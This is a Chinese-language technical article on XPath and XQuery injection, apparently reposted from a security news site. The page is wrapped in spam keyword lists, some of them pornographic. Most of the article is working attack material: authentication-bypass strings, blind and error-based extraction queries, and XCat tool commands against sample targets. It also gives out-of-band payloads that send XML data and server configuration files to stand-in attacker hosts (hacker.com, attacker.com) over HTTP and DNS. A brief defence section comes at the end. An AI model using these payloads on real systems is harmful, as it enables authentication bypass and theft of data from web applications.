精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

XPath Hacking技術科普

安全 應用安全
Xpath1.0是一種被很好支持和相當老的在XML文檔中選擇節點并返回計算后的值的查詢語言。大量的編程語言,包括Java、C/C++、Python、C#、JavaScript、Perl等都擁有自購豐富的庫支持Xpath1.0。

簡介

Xpath1.0是一種被很好支持和相當老的在XML文檔中選擇節點并返回計算后的值的查詢語言。大量的編程語言,包括Java、C/C++、Python、C#、JavaScript、Perl等都擁有自購豐富的庫支持Xpath1.0。

在一個單一的XML文檔中,使用Xpath1.0可以方便的查詢過濾節點,舉例:

  1. <users> 
  2.  <user> 
  3.   <name>James Peter</name> 
  4.   <username>jtothep</username> 
  5.   <password>password123!</password> 
  6.   <admin>1</admin> 
  7.  </user> 
  8.  <user> 
  9.   <name>Chris Stevens</name> 
  10.   <username>ctothes</username> 
  11.   <password>reddit12</password> 
  12.   <admin>0</admin> 
  13.  </user> 
  14. </users> 

一個簡單的Web應用登錄表單

XPath Hacking技術科普

使用用戶名"jtothep"和密碼“password123!”輸入到表單中,后臺執行的查詢語法如下:

/*[1]/user[username=”jtothep”and password=”password123!”]

返回的用戶節點

  1. <user> 
  2.   <name>James Peter</name> 
  3.   <username>jtothep</username> 
  4.   <password>password123!</password> 
  5.   <admin>1</admin> 
  6.  </user> 

Xpath注入

如果程序沒有驗證用戶查詢輸入,就會發生Xpath注入,攻擊者可以提交惡意的請求修改查詢語句,導致:事物邏輯和認證繞過,獲取后端XML數據庫內容。

不像傳統的關系型數據庫,可以對數據庫、表、行或者列執行細粒度的訪問控制,XML沒有用戶或者權限的概念。這意味著整個數據庫都可以被用戶讀取,在應用中屬于很嚴重的安全漏洞。

利用Xpath

繞過認證

如果一個認證過程是如下形式

/*[1]/user[username=”jtothep”and password=”password123!”]

攻擊者可以提交以下輸入

username: jtohep"or "1" ="1
password: anything

Xpath的查詢會變成

/*[1]/user[username=”jtothep"or "1"="1” and
password=”anything”]

攻擊者可以以jtohep的用戶登錄并且繞過實際的密碼認證,這是因為XPath中的OR語法查詢導致條件一直為真,類似SQL的and語法,Xpath的查詢語法為:

username="jtothep" or [TRUE AND False]

結果就是

username="jtothep" or FALSE

如果jtothep這個用戶被驗證存在,攻擊者就可以使用這個用戶的身份登錄,在通常的實踐中使用加密形式的密碼保存在用戶表中,用戶輸入的密碼也要經過加密計算再與用戶表中的哈希密碼進行匹配。因此使用加密形式的密碼會較少的存在漏洞,使用加密查詢的語法如下:

'/*[1]/user[username=”'.$username. '” and password=”'
.md5(password). '”]'

如果攻擊者不知道一個正確的用戶名,他仍可以繞過認證

/*[1]/user[username=”non_existing"or "1"="1” or "1" ="1"and
password=”5f4dcc3b5aa765d61d8327deb882cf99”]

執行會顯示成如下的形式:

username="non_existing" or TRUE or [True AND False]

結果是:

username="non_existing" or TRUE or FALSE.

結果會以第一個節點的身份登錄系統。

提取后端數據庫

現在有2個版本的Xpath,1.0和2.0,Xpath2.0是1.0的超集,支持更廣的特征兼容很多復雜的數據類型。同樣1.0存在的漏洞也能轉移到2.0中。

以一個圖書館查詢功能為例,查詢語法如下:

“/lib/book[title=' +TITLE + ']”.

 

 


XPath Hacking技術科普

 

 

XML數據如下:

  1. <lib> 
  2. <book> 
  3. <title>Bible</title> 
  4. <description>Theword of god</description> 
  5. </book> 
  6. <book> 
  7. <title>Da Vincicode</title> 
  8. <description>Abook</description> 
  9. </book> 
  10. </lib> 

如果知道圖書名字,可以注入以下內容:

/lib/book[title=”Bible”and “1” = “1”]
payload為
”and “1” = “1 
/lib/book[title=”Bible”and count(/*) = 1 and “1”=”1”]

如果所有的過濾條件為真這個查詢只返回為真,如果查詢成功“/*”只返回一個節點,查詢不成功不會有顯示

Xpath1.0結構定義了少量幾個可以在XML文檔中應用的功能

- Count (NODESET) – 像是上面的舉例count() 返回節點集中子節點的數目

- String-length (STRING) –返回指定字符串的長度,獲得一個節點名的長度可以使用以下語法: string-length(/*[1]/*[1]/name())

- Substring (STRING, START,LENGTH) – 這個功能用來枚舉一個節點的文本值,我們可以使用substring匹配指定字符串與節點中的字符串,可以循環的通過實體字符表獲取所有字符的值。

使用基本語言設計和注入點,可以做到以下

1.獲取節點的名字

2.計算節點的數量

3.對于每個節點

a.獲取名字

b.獲取值

4.獲取注釋節點的數量

5.對于每個注釋節點

a.獲取注釋值

6.計算子節點的數量

7.對于每個子節點

a.Go to step

8.獲取節點的文本內容。

Xcat介紹

Xcat是python的命令行程序利用Xpath的注入漏洞在Web應用中檢索XML文檔,支持Xpath1.0和2.0,使用舉例如下:

python xcat.py --true"Book Found" --arg="title=Bible" --method POST--quotecharacter=\" http://vulnhost.com:80/vuln.php

XPath 2.0 濫用

XPath獲得了W3C的推薦,相比1.0版本增加了很多特征。支持條件聲明,更多的功能和數據類型,并且向后兼容。

檢測Xpath版本

探測Xpath版本非常簡單,使用lower-case()功能將大寫字符轉換成小寫字符,然后跟小寫字符進行對比,如果結果為空,意味著沒有lower-case()函數定義,版本為1.0,另外的情況就是2.0版本。

/lib/book[title="Bible"and lower-case('A') = "a"]

/lib/book[title=”Bible”and “1” = “1”] payload為 ”and “1” = “1  /lib/book[title=”Bible”and count(/*) = 1 and “1”=”1”]

 

探測系統和工作目錄

在Xpath2.0中base-uri()函數返回當前文檔的全路徑。

file:///C:/Users/Admin/Documents/example_application/input.xml

可以精確檢測到文件系統中XML數據庫的位置。

縮小查詢密鑰空間

當我們使用遠程主機注入Xpath漏洞,我們可能一次只能獲取很少的信息,有很多方法可以是我們縮小查詢的范圍。首先我們使用匹配功能觀察能減少字符的數量,通過正則和一些文本返回真或假進行判斷(大小寫字符,數字或特殊符號)

以下查詢查找第二本書名中是否含任何大寫字符:

matches(/lib/book[2]/title/text(),"[A-Z]")

注意不同語言中正則表達式會有些不同

Unicode字符可以使用normalize-unicode功能可以減少查詢范圍,normalize-unicode規范化unicode字符“á”為“a” and “’”,ASCII字符,意味著可以提取出Unicode字符,類似Ѭ字符不行。

codepoints特性

將字符轉換為整數

string-to-codepoints("abc")-> (97,98,99)

高級Xpath注入

基于錯誤的提取

在一個條件查詢中提取運行時間錯誤,如果錯誤展示給用戶(或者可以被發覺),可以在不輸入信息的狀態下提取信息。Xpath 2.0 定義看error()功能,允許開發人員加注自定義的錯誤信息,用法:

and (if (CONDITION)then error() else 0) and "1" = "1

顯示結果如下

/lib/book[title=”Bible”and “1” = “1”] payload為 ”and “1” = “1  /lib/book[title=”Bible”and count(/*) = 1 and “1”=”1”]

XCat可利用這種攻擊方式

python main.py –-error "Exception"--arg="title=Anything" --methodPOST--quote_character=\" http://localhost:80

DOC功能濫用

XPath2.0推薦定義一個功能“DOC”,可以URI指向到外部XML文檔。可以存在本地或者遠程HTTP服務器,稱作Xpath庫中最好取得XML文檔和返回文檔根節點。

DOC不是默認的功能,如果RUI不是鏈接到XML文件也會報錯。

危害:

讀取包含敏感配置文件或XML數據庫的信息

Tomcat的用戶配置文件

/tomcat-users/user[@username='"+ username + "' and@password='" + password + "']

Xcat工具也有利用命令

pythonxcat.py –method POST –ary
"username2=tomcat&password2=tomcat"–quotecharacter "'" –true
"Authenticated as"–connectbackip localhost –connectbackport 80
–fileshell http://localhost:81/

 

 


 

 

帶外通道提取XML數據

HTTP

doc(concat("http://hacker.com/savedata.py?d=",XPATH_EXPRESSION))

DOC功能會使HTTP請求轉到攻擊者的服務器,在HTTP GET或POST請求中使用encode-for-uri可以格式化字符。

doc(concat("http://hacker.com/savedata.py?d=",encode-foruri(/lib/book[1]/title)))

這將會對任何的字符串數據產生一個有效的查詢,例如在示例里第一本書的名字。攻擊者可以通過迭代的方式獲取XML文件的內容,發送到黑客指定的服務器上分析。

1.2.3.4 -[09/Feb/2012:07:04:36 +0300] "GET /savedata.py?d=BibleHTTP/1.1" 200301 "-" "-"
1.2.3.4 -[09/Feb/2012:07:04:37 +0300] "GET/savedata.py?d=Da%20Vinci%20codeHTTP/1.1" 200
301 "-""-"

Xcat支持通過HTTP請求檢索部分文檔,Xcat建立一個內部的HTTP服務并監聽連接,追蹤節點內容并重建XML文件。

python main.py –-error"Exception" --arg="title=Anything" --method POST--quote_character=\" -–connectback -–connectbackip X.X.X.X http://vulnhost.com:80

X.X.X.X是攻擊者可以控制的IP

DNS

在上面提及的方法中使用HTTP請求,存在許多限制條件,并不是每次攻擊都可以成功,例如目標存在防火墻進行限制。如果是這種情況,可以使用DNS查詢來傳輸數據。

攻擊者建立一個域名服務器。

doc(concact(/users/user[1]/username, “.hacker.com”))

服務器嘗試解析主機“jtothep.hacker.com”,引發DNS查詢并轉到攻擊者的域名服務器。

15:19:04.996744 IPX.X.X.X.38353 > Y.Y.Y.Y.53: 15310 A? jtothep.hacker.com.

使用DNS服務傳遞數據有幾個缺陷,數據限制在63-255個字符內,如果進行分割的話,可能會導致數據丟失。

XQuery注入

維基中XQuery的定義

"XQuery is a queryand functional programming language that is designed to 
query collections ofXML data. It provides means to extract and manipulate data 
from XML documentsor any data source that can be viewed as XML. It uses XPath 
expressions syntaxto address specific parts of an XML document. It supplements 
this with aSQL-like "FLWOR expression" for performing joins. A FLWOR 
expressionis constructed from the five clauses after which it is named: FOR, 
LET, WHERE,ORDER BY, RETURN"

XQuery是XPath的超集,如果Xpath只是一個查詢語言,XQuery是一個程序語言,可以聲明自定義的功能、變量等等。類似XPath注入,XQuery注入在沒有驗證用戶輸入的情況下也會發生。

一個程序使用用戶名查詢博客實體,后端使用XQuery查詢XML數據。

XPath Hacking技術科普

未經凈化的輸入可以導致整個XML文件泄露,節點名、字符串屬性和值可以通過HTTP方法循環遍歷獲取:

for $n in /*[1]/*
 let $x := for $att in $n/@*
return(concat(name($att),"=",encode-for-uri($att)))
 let $y :=doc(concat("http://hacker.com/?name=",
encode-for-uri(name($n)),
"&amp;data=",
encode-for-uri($n/text()),
"&amp;attr_",
string-join($x,"&amp;attr_")))
 for $c in $n/child::*
  let $x := for $att in $c/@*
 return(concat(name($c),"=",encode-for-uri($c)))
let $y := doc(concat(
"http://hacker.com/?child=1&amp;name=",
encode-for-uri(name($c)),
"&amp;data=",
encode-for-uri($c/text()),
"&amp;attr_",
string-join($x,"&amp;attr_")))

上面語句只在Saxon XSLT解析器中執行,eXist-db’s和 XMLPrime解析器不受影響。

繼續說上面的查詢實例,用戶輸入admin,在后臺執行的查詢為:

  1. for $blogpost in//post[@author=’admin’] 
  2. return 
  3. <div> 
  4. <hr /> 
  5. <h3>{$blogpost/title}</h3><br/> 
  6. <em>{$blogpost/content}</em> 
  7. <hr /> 
  8. </div> 

如果用戶輸入admin'] let $x :=/*[' ,注入后的查詢結果為:

  1. for $blogpost in//post[@author=’admin’] 
  2.  let $x := /*[‘’] 
  3.  return 
  4. <div> 
  5.   <hr /> 
  6.    <h3>{$blogpost/title}</h3><br/> 
  7.    <em>{$blogpost/content}</em> 
  8.   <hr /> 
  9.  </div> 

攻擊者可以在let $x := /*[‘’]中插入任何想執行語句都會在循環中執行,它會

通過所有當前執行文件中的元素循環發出一個GET請求到攻擊者的服務器。

URL攻擊

http://vulnerablehost/viewposts?username=admin%27%5D%0Afor%20%24n
%20in%20/%2A%5B1%5D/%2A%0A%09let%20%24x%20%3A%3D%20for%20%24att%
20in%20%24n/%40%2A%20return%20%28concat%28name%28%24att%29%2C%22
%3D%22%2Cencode-foruri%28%24att%29%29%29%0A%09let%20%24y%20%3A%3D
%20doc%28concat%28%22http%3A//hacker.com/%3Fname%3D%22%2C%20encode
-foruri%28name%28%24n%29%29%2C%20%22%26amp%3Bdata%3D%22%2C%20encode
-foruri%28%24n/text%28%29%29%2C%22%26amp%3Battr_%22%2C%20stringjoin
%28%24x%2C%22%26amp%3Battr_%22%29%29%29%0A%09%09%0A%09for%20%24c%
20in%20%24n/child%3A%3A%2A%0A%09%09let%20%24x%20%3A%3D%20for%20%
24att%20in%20%24c/%40%2A%20return%20%28concat%28name%28%24c%29%2C
%22%3D%22%2Cencode-foruri%28%24c%29%29%29%0A%09%09let%20%24y%20%
3A%3D%20doc%28concat%28%22http%3A//hacker.com/%3Fchild%3D1%26amp
%3Bname%3D%22%2Cencode-foruri%28name%28%24c%29%29%2C%22%26amp%3
Bdata%3D%22%2Cencode-for-uri%28%24c/text%28%29%29%2C%22%26amp%3
Battr_%22%2Cstringjoin%28%24x%2C%22%26amp%3Battr_%22%29%29%29
%0Alet%20%24x%20%3A%3D%20/%2A%5B%27

上面的方法會重復的對攻擊者的服務器發送請求,整個XML文檔可以通過分析攻擊者的服務器訪問日志進行獲取。

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 358"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

通過分析拼接的XML為:

  1. <posts> 
  2. <postauthorpostauthor="admin"> 
  3. <title>Test</title> 
  4. <content>My firstblog post!</content> 
  5. </post> 
  6. <postauthorpostauthor="admin"> 
  7. <title>My blog isnow live!</title> 
  8. <content>Welcometo my blog! Please stay away hackers</content> 
  9. </post> 
  10. </posts> 

Exist-DB

Exist-DB是一個本地XML數據庫,允許應用程序使用不同的技術(XQuery 1.0, XPath 2.0,XSLT 1.0 和 2.0.)存儲、查詢和更新XML數據。區別于其他傳統的數據庫(定義自己的查詢協議),Exist-DB使用基于HTTP的接口進行查詢,如REST, XML-RPC, WebDAV 和SOAP。

執行一個GET請求,返回一個XML的節點。

還是之前用戶博客的查詢,假設現在使用的是Exist-DB,HTTP查詢請求如下

http://www.vulnhost.com/viewposts?username=admin

后臺XPath表達式

doc(concat(“http://localhost:8080/exist/rest/db/posts?_query=”,encode-for-uri(“//posts[@author=’admin’]”)) )//*

上面查詢//posts[@author=’admin’]會返回所有admin的文章,Exist-DB是一個成熟的數據庫并且在很好的支持XPath,如果username變量沒有進行凈化,攻擊者可以獲取根節點的內容:

http://www.vulnhost.com/viewposts?username='and doc(concat('http://hacker.com/?q=', encode-for-uri(name(doc('file:///home/exist/database/conf.xml')/*[1]))))or '1' = '1

這條語句會攜帶根節點發名字請求攻擊者的服務器

doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=''and
doc(concat('http://hacker.com/?q=',encode-foruri(name(doc(‘file:///home/exist/database/conf.xml’)/*[1]))))
or '1'= '1']")))/*[1]

攻擊者可以使用上面的技術獲得受害服務器的配置信息。

EXist-DB有一個可擴展的模塊,它允許程序員用Java編寫的模塊創建新的XPath/XQuery函數。通過讓郵件模塊或其他SMTP服務器,I/O文件系統發送電子郵件。以及支持多種HTTP方法,利用LDAP客戶端模塊,或在在OracleRDBMS執行Oracle的PL/ SQL存儲過程等等。這些模塊功能強大,但通常這些模塊在默認情況下是禁用的。

HTTP模塊很有趣,因為它是兩個非常強大的,默認情況下啟用。攻擊者可以簡單地使用它來發送序列化根節點(整個文檔)到攻擊者的服務器,從而在一次操作中獲取整個數據庫。

http://www.vulnhost.com/viewposts?username='Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ())or '1' = '1

在服務器后臺的查詢如下

doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=’’Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ()) or ‘1’ =‘1’]")))/*[1]

監聽的效果

可以通過DOC功能使HTTP客戶端發送任意的本地XML文件到攻擊者的服務器

Httpclient:get(xs:anyURI(“http://attacker.com/”),doc(‘file:///home/exist/database/conf.xml’), false(), ())

防御方法

凈化用戶輸入,fn:doc(),fn:collection(), xdmp:eval() and xdmp:value()這些函數需要特別注意

使用參數化的查詢,如Java的Xpath表達式

/root/element[@id=$ID]

限制doc()功能

作者

Thomas Forbes (xcat的作者)

Sumit Siddharth

參考

http://www.balisage.net/Proceedings/vol7/html/Vlist02/BalisageVol7-Vlist02.html

http://www.front2backdev.com/2011/12/19/xquery-injection-mea-culpa/

http://www.slideshare.net/robertosl81/xpath-injection-3547860

http://en.wikipedia.org/wiki/XPath

http://en.wikipedia.org/wiki/XQuery

https://github.com/orf/xcat

責任編輯:藍雨淚 來源: FreebuF
相關推薦

2018-03-28 09:00:17

區塊鏈 人工智能 大數

2017-07-31 19:13:58

白熊視頻技術創業在路上程序員

2023-11-23 13:23:14

2021-09-01 11:17:04

人工智能經濟技術

2021-04-24 22:48:23

人工智能機器人醫療

2022-07-05 11:06:55

人工智能自然語言計算機

2021-01-01 09:16:33

AI人工智能

2020-12-30 10:43:01

人工智能食品安全

2018-01-13 23:06:12

2019-03-06 11:16:16

服務器虛擬化內存

2012-12-24 10:05:08

AutodeskInventor軌道客車

2009-07-15 18:10:45

2019-11-20 08:55:36

技術研發指標

2019-11-20 09:28:33

硬核攜號技術

2021-08-17 15:20:18

人工智能AI
點贊
收藏

51CTO技術棧公眾號

99re在线视频上| 亚洲男人天堂网站| 中文字幕在线中文| 亚洲国产欧美另类| 国产日韩免费| 最近2019年手机中文字幕| 图片区乱熟图片区亚洲| 爱情岛亚洲播放路线| 91啪九色porn原创视频在线观看| 国产精品久久久久一区二区| 精品99在线观看| 夜夜春成人影院| 欧美日本乱大交xxxxx| 2019日韩中文字幕mv| 国产高清视频在线| 国产精品一级在线| 日本一区二区三区在线播放| 少妇人妻丰满做爰xxx| 青青久久av| 欧美一区二区三区在| 国产日产欧美视频| 中文字幕在线三区| 中文字幕国产一区| 国产麻豆乱码精品一区二区三区| 在线观看日本视频| 国产精品国码视频| 亚洲一级片在线看| 扒开伸进免费视频| 亚洲伊人精品酒店| 色一情一伦一子一伦一区| 喜爱夜蒲2在线| yiren22综合网成人| 99在线精品观看| 99久久免费国| 亚洲一区二区色| 免费视频一区| 久久久亚洲精选| 内射一区二区三区| 日韩欧美高清在线播放| 国产婷婷成人久久av免费高清| 成人在线短视频| 粉嫩av一区二区三区四区五区| 精品久久久久久中文字幕一区奶水| 国产精品夜夜夜爽张柏芝| 欧美高清成人| 99riav一区二区三区| av成人观看| 国产精品乱码久久久| 日韩成人午夜精品| 欧美亚洲激情在线| 福利一区二区三区四区| 欧美日韩国产探花| 美女久久久久久久| 黑人狂躁日本娇小| 欧美一级精品片在线看| 亚洲视频日韩精品| 午夜在线观看一区| 久草在线成人| 亚洲人成电影网| wwwwww日本| 国产探花在线精品一区二区| 亚洲男人的天堂在线播放| 久久精品国产亚洲av麻豆| 男人的天堂久久| 亚洲黄一区二区| 性久久久久久久久久久| 久久久精品国产**网站| 亚洲精品久久久久久久久久久久久| 国产伦精品一区二区免费| 成人资源在线| 亚洲国产小视频在线观看| 男人的天堂影院| 丝袜av一区| 一区二区三区动漫| 三级黄色录像视频| 欧美在线观看天堂一区二区三区| 九九热r在线视频精品| 麻豆国产尤物av尤物在线观看| 欧美精品国产一区二区| 国内外成人免费激情在线视频网站 | 手机在线免费观看av| 亚洲综合在线五月| 日韩在线一级片| 国产电影一区二区三区爱妃记| 欧美性极品少妇| 在线观看免费不卡av| 国产激情一区| 亚洲黄一区二区| 人人爽人人爽人人片| 婷婷精品进入| 午夜免费日韩视频| 久久久久久久久黄色| 蜜臀av在线播放一区二区三区 | 久草热视频在线观看| 2022成人影院| 欧美日本视频在线| 中文字幕在线国产| 精品国产91乱码一区二区三区四区 | 欧美日韩国产综合视频在线观看中文| 欧美极品欧美精品欧美图片| 九九久久国产| 亚洲成人精品久久久| xxxxx在线观看| 欧美日韩 国产精品| 欧美一区亚洲一区| 91精品国产综合久| 91一区二区三区在线观看| 亚洲精品日韩在线观看| av成人影院在线| 欧美色窝79yyyycom| 欧美激情一区二区三区p站| 欧美男gay| 欧美大片网站在线观看| 伊人久久成人网| av不卡在线播放| 四虎影院一区二区| 2022成人影院| 精品国产一区二区三区不卡| 久久午夜福利电影| 亚洲国产免费| 亚洲一区二区久久久久久| 免费在线视频一级不卡| 夜夜精品浪潮av一区二区三区| 天天碰免费视频| 国产精品视屏| 欧美精品手机在线| 亚洲在线精品视频| 久久久久久亚洲综合影院红桃| 国内精品国产三级国产99| 国产极品久久久久久久久波多结野 | 国产精品素人一区二区| 免费看国产曰批40分钟| 欧美国产中文高清| 日韩在线一区二区三区免费视频| 日韩三级一区二区三区| 国产精品夜夜嗨| 一本久久a久久精品vr综合 | 女主播福利一区| 日韩av快播网址| 国产人妻精品一区二区三| 国产欧美日韩在线看| 国产精品视频一区二区三区四区五区| 亚洲91网站| 欧美另类69精品久久久久9999| 中文字幕日产av| 91免费国产在线| 日本一道在线观看| 免费一级欧美在线观看视频| 亚洲一区二区福利| 久久人人爽人人爽人人片av免费| 91片在线免费观看| jizzjizzxxxx| 同性恋视频一区| 26uuu另类亚洲欧美日本一| 农村少妇久久久久久久| 亚洲一区在线免费观看| 宇都宫紫苑在线播放| 欧美区日韩区| 国产精品区二区三区日本| 久久av色综合| 精品国产乱码久久久久久牛牛| 久久久久久久国产视频| 国产精品18久久久久久久久| 黄网站色视频免费观看| 丁香5月婷婷久久| 国内外成人免费激情在线视频网站| 国产精品老熟女视频一区二区| 国产精品欧美一区喷水| 亚洲一区二区三区观看| 在线观看国产精品入口| 99久久精品免费看国产一区二区三区| 美女精品视频| 亚洲国产欧美一区二区丝袜黑人 | 色三级在线观看| 91精品国产综合久久国产大片| 欧美成人精品一区二区免费看片| 粉嫩在线一区二区三区视频| 777精品久无码人妻蜜桃| 国产亚洲一卡2卡3卡4卡新区 | 日韩有码在线视频| 91亚洲精品国偷拍自产在线观看| 亚洲人成网站精品片在线观看| 亚洲天堂一区二区在线观看| 亚洲黄色成人| 日本一区免费在线观看| 欧美日韩破处视频| 欧美精品videosex极品1| 四虎国产精品永远| 欧美日韩一区二区三区免费看| 亚洲国产精品久| 337p粉嫩大胆噜噜噜噜噜91av| 亚洲色图久久久| 欧美久久影院| 欧美成ee人免费视频| 日韩五码电影| 97在线观看视频| 日本中文字幕伦在线观看| 欧美成人精品高清在线播放 | 国产精品丝袜xxxxxxx| 亚洲va韩国va欧美va精四季| 在线综合色站| 国产精品久久久精品| 黄色影院在线看| 最近2019中文字幕一页二页| 日本xxxxxwwwww| 怡红院成人在线| 色综合久久久久综合99| 国产又粗又长又黄的视频| 高清国产一区二区| 麻豆三级在线观看| 99精品国产一区二区青青牛奶| 亚洲精品一区国产精品| 免费黄色网址在线| 国产a区久久久| 国产主播中文字幕| 亚洲一级黄色| 亚洲欧美日韩综合一区| 成人av影音| 成人久久一区二区| 成人美女大片| 欧美激情精品久久久久久久变态 | 成人黄色免费观看| 午夜精品在线视频| av在线免费播放| 亚洲女人天堂色在线7777| 不卡视频在线播放| 欧美三级蜜桃2在线观看| 国产成人一区二区三区影院在线| 日韩一区中文字幕| 制服 丝袜 综合 日韩 欧美| 成人av免费在线观看| 黄色片免费网址| 日本成人在线电影网| 无码人妻丰满熟妇区96| 国产精品porn| 26uuu成人| 不卡一区综合视频| 欧美日本亚洲| 网友自拍区视频精品| 国产欧美亚洲日本| 911精品国产| 91|九色|视频| 国产日韩中文在线中文字幕| 国产日韩在线观看av| 欧亚一区二区| 国产成人精品综合| 日韩欧美看国产| 青青草原一区二区| 激情都市亚洲| 日韩免费观看高清| 成人做爰视频www网站小优视频| 庆余年2免费日韩剧观看大牛| 国产99在线| 91精品国产777在线观看| 久草在线视频资源| 国语自产精品视频在线看抢先版图片| 91高清在线观看视频| 欧美成人国产va精品日本一级| 二区三区在线观看| 久久成人这里只有精品| 成人影院在线看| 欧美日韩国产二区| av资源中文在线| 97av在线影院| 国产精品亚洲一区二区三区在线观看| 国产www精品| 91国拍精品国产粉嫩亚洲一区| 国产精品av在线播放| 91av一区| 91在线免费观看网站| 视频一区在线| 精品国产福利| 黑人操亚洲人| 亚洲精品自在在线观看| 久久久久亚洲| 亚洲色欲久久久综合网东京热| 一区二区三区精品视频在线观看| 人妻少妇被粗大爽9797pw| 天堂精品中文字幕在线| 久久人人爽av| 国产91综合网| 国产美女精品久久| 亚洲欧洲另类国产综合| 不卡的免费av| 日本韩国精品在线| 99久久99久久久精品棕色圆| 亚洲成人久久久久| yw视频在线观看| 亚洲免费网址| 久中文字幕一区| 色婷婷热久久| 97久久国产亚洲精品超碰热| 国产日韩欧美一区二区三区在线观看| 久久久国产欧美| 国产精品夜夜嗨| 中文字幕免费视频| 亚洲精品视频在线看| av中文在线播放| 欧美精品 日韩| 无码精品视频一区二区三区| 中文字幕一区二区三区电影| a'aaa级片在线观看| 国产精品欧美久久久| 日本超碰一区二区| 日韩精品久久久免费观看 | 亚洲精品视频在线观看视频| 免费在线观看黄色| 97国产精品人人爽人人做| 久久国内精品| 免费av一区二区三区| 中文字幕一区二区三区欧美日韩| 日韩中文字幕二区| 国产成人免费网站| 懂色av粉嫩av浪潮av| 精品福利在线看| 999免费视频| 伊人久久精品视频| 色老头在线一区二区三区| 亚洲iv一区二区三区| 国产欧美日韩在线一区二区| 91成人综合网| 久久99蜜桃精品| 免费在线观看污| 精品欧美一区二区三区| 精品国产一级片| 久久久国产精品一区| 日韩精品影片| 快播亚洲色图| 影音先锋亚洲电影| www.偷拍.com| 国产精品久久久久久久久久免费看| 日本一区二区三区精品| 亚洲成年人在线播放| a级网站在线播放| 成人av在线网址| 日韩精品一区二区三区免费观影 | 永久免费看mv网站入口| 欧美午夜在线一二页| 久久久久久女乱国产| 4438全国成人免费| 狠狠一区二区三区| 黄色一级大片免费| 国产精品一二一区| 国产精品视频一区二区三| 欧美日韩日日骚| 1024国产在线| 国产精品网红福利| 清纯唯美综合亚洲| 美女网站视频黄色| 久久精品男人的天堂| 久久精品久久久久久久| 亚洲精品中文字幕av| 涩涩网在线视频| 蜜桃传媒一区二区| 久久久久久久高潮| 欧美人与性囗牲恔配| 欧美丝袜自拍制服另类| 91涩漫在线观看| 成人av在线天堂| 中文字幕一区二区三区乱码图片 | 久久综合狠狠综合久久综合88| 日韩精品成人在线| 日韩av在线影院| xxx欧美xxx| 日韩欧美一区二区三区久久婷婷| 日韩成人精品在线观看| 久久久精品成人| 4438x成人网最大色成网站| free性欧美hd另类精品| av成人在线电影| 羞羞视频在线观看欧美| 国产jk精品白丝av在线观看 | 国产福利一区视频| 国产精品三级久久久久三级| 91国产免费视频| 久久久久久久国产精品| 日韩美女精品| 最新中文字幕免费视频| 综合亚洲深深色噜噜狠狠网站| 精品久久久免费视频| 69av在线视频| 成人三级视频| 国产伦精品一区二区三区妓女下载| 尤物av一区二区| 先锋av资源站| 国产精品男人爽免费视频1| 中文无码久久精品| www.啪啪.com| 精品视频在线视频| а√天堂官网中文在线| 久久久久久国产精品mv| 蜜臀国产一区二区三区在线播放 | 九色网友自拍视频手机在线| 国产精品视频在线观看| 欧美日本免费| 第一次破处视频| 日韩欧美激情在线| 欧美aaa视频| 久久高清视频免费| 91国产精品一区|